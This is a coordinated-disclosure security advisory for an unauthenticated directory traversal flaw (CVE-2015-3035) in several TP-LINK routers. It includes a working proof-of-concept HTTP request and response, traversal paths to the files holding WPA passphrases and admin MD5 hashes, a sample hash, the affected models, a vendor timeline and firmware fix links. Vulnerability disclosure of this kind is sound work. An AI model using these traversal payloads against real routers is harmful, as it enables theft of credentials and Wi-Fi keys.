TP-LINK Local File Disclosure

`SEC Consult Vulnerability Lab Security Advisory < 20150410-0 >  
=======================================================================  
title: Unauthenticated Local File Disclosure  
product: Multiple TP-LINK products (see Vulnerable / tested versions)  
vulnerable version: Multiple (see Vulnerable / tested versions)  
fixed version: see Solution  
CVE number: CVE-2015-3035  
impact: Critical  
homepage: http://tp-link.com  
found: 2015-02-19  
by: Stefan Viehböck (Office Vienna)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult  
Berlin - Frankfurt/Main - Montreal - Singapore  
Vienna (HQ) - Vilnius - Zurich  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
"TP-LINK is a global provider of SOHO & SMB networking products and the World's  
No.1 provider of WLAN products, with products available in over 120 countries  
to tens of millions customers. Committed to intensive R&D, efficient production  
and strict quality management, TP-LINK continues to provide award-winning  
networking products in Wireless, ADSL, Routers, Switches, IP Cameras, Powerline  
Adapters, Print Servers, Media Converters and Network Adapters for Global  
end-users."  
  
Source: http://www.tp-link.us/about/?categoryid=102  
  
  
Business recommendation:  
------------------------  
Attackers can read sensitive configuration files without prior authentication.  
These files e.g. include the administrator credentials and the WPA passphrase.  
  
TP-LINK has provided fixed firmware which should be installed immediately.  
  
  
Vulnerability overview/description:  
-----------------------------------  
Because of insufficient input validation, arbitrary local files can be  
disclosed. Files that include passwords and other sensitive information can  
be accessed.  
  
  
Proof of concept:  
-----------------  
The following HTTP request shows how directory traversal can be used to gain  
access to files without prior authentication:  
===============================================================================  
GET /login/../../../etc/passwd HTTP/1.1  
Host: $host  
  
===============================================================================  
  
The server response includes the contents of the file:  
===============================================================================  
HTTP/1.1 200 OK  
Server: Router Webserver  
Connection: Keep-Alive  
Keep-Alive:  
Persist:  
WWW-Authenticate: Basic realm="TP-LINK Wireless Dual Band Gigabit Router WDR4300"  
Content-Length: 683  
Content-Type: text/html  
root:x:0:0:root:/root:/bin/sh  
Admin:x:0:0:root:/root:/bin/sh  
bin:x:1:1:bin:/bin:/bin/sh  
daemon:x:2:2:daemon:/usr/sbin:/bin/sh  
adm:x:3:4:adm:/adm:/bin/sh  
lp:x:4:7:lp:/var/spool/lpd:/bin/sh  
sync:x:5:0:sync:/bin:/bin/sync  
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown  
halt:x:7:0:halt:/sbin:/sbin/halt  
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh  
operator:x:11:0:Operator:/var:/bin/sh  
nobody:x:65534:65534:nobody:/home:/bin/sh  
ap71:x:500:0:Linux User,,,:/root:/bin/sh  
dropbear:x:500:500:dropbear:/tmp/dropbear:/bin/sh  
admin:x:500:500:admin:/home:/bin/sh  
guest:x:500:500:guest:/home:/bin/sh  
dropbear:x:500:500:dropbear:/tmp/dropbear:/bin/sh  
dropbear:x:500:500:dropbear:/tmp/dropbear:/bin/sh  
===============================================================================  
  
Several sensitive files can be read. These include:  
Files containing Wi-Fi configuration including WPA-passphrase:  
/login/../../../tmp/ath.ap_bss  
/login/../../../tmp/ath1.ap_bss  
  
A file containing administrator credentials (format: $user:md5($password), which can  
be brute-forced very efficiently:  
/login/../../../tmp/dropbear/dropbearpwd  
  
  
Example server response:  
===============================================================================  
HTTP/1.1 200 OK  
Server: Router Webserver  
Connection: Keep-Alive  
Keep-Alive:  
Persist:  
WWW-Authenticate: Basic realm="TP-LINK Wireless Dual Band Gigabit Router WDR4300"  
Content-Length: 56  
Content-Type: text/html  
username:admin  
password:11d0fc2ff3e7862d8a3f9b280e6d390c  
===============================================================================  
  
  
Vulnerable / tested versions:  
-----------------------------  
The vulnerability affects the following products:  
TP-LINK Archer C5 (Hardware version 1.2)  
TP-LINK Archer C7 (Hardware version 2.0)  
TP-LINK Archer C8 (Hardware version 1.0)  
TP-LINK Archer C9 (Hardware version 1.0)  
TP-LINK TL-WDR3500 (Hardware version 1.0)  
TP-LINK TL-WDR3600 (Hardware version 1.0)  
TP-LINK TL-WDR4300 (Hardware version 1.0)  
TP-LINK TL-WR740N (Hardware version 5.0)  
TP-LINK TL-WR741ND (Hardware version 5.0)  
TP-LINK TL-WR841N (Hardware version 9.0)  
TP-LINK TL-WR841N (Hardware version 10.0)  
TP-LINK TL-WR841ND (Hardware version 9.0)  
TP-LINK TL-WR841ND (Hardware version 10.0)  
  
  
Vendor contact timeline:  
------------------------  
2015-02-19: Contacting vendor through [email protected].  
2015-02-24: Resending email as previous ticket has been closed by TP-LINK.  
2015-02-24: Contacting technical support engineer of TP-LINK, contact received  
by 3rd party.  
2015-02-25: Requesting encryption keys, providing affected models.  
2015-02-26: No encryption keys available, sending advisory in unencrypted form.  
2015-02-28: Vendor confirms vulnerability, provides beta firmware.  
2015-03-03: Sending confirmation that beta firmware fixes the vulnerability.  
2015-03-06: Vendor is working on release schedule, affected devices.  
2015-03-16: Vendor announces that fixed firmware will be released by the end of  
March.  
2015-03-24: Vendor confirms that firmware releases are on schedule.  
2015-04-08: Vendor provides final list of affected products & download URLs.  
2015-04-10: Coordinated release of security advisory.  
  
  
Solution:  
---------  
Update to the most recent firmware version:  
TP-LINK Archer C5 (Hardware version 1.2): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13048  
TP-LINK Archer C7 (Hardware version 2.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13008  
TP-LINK Archer C8 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13052  
TP-LINK Archer C9 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13020  
TP-LINK TL-WDR3500 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13018  
TP-LINK TL-WDR3600 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13019  
TP-LINK TL-WDR4300 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13009  
TP-LINK TL-WR740N (Hardware version 5.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13012  
TP-LINK TL-WR741ND (Hardware version 5.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13013  
TP-LINK TL-WR841N (Hardware version 9.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13033  
TP-LINK TL-WR841N (Hardware version 10.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13036  
TP-LINK TL-WR841ND (Hardware version 9.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13035  
TP-LINK TL-WR841ND (Hardware version 10.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13037  
  
  
Workaround:  
-----------  
See solution.  
  
  
Advisory URL:  
-------------  
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
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EOF Stefan Viehböck / @2015  
  
`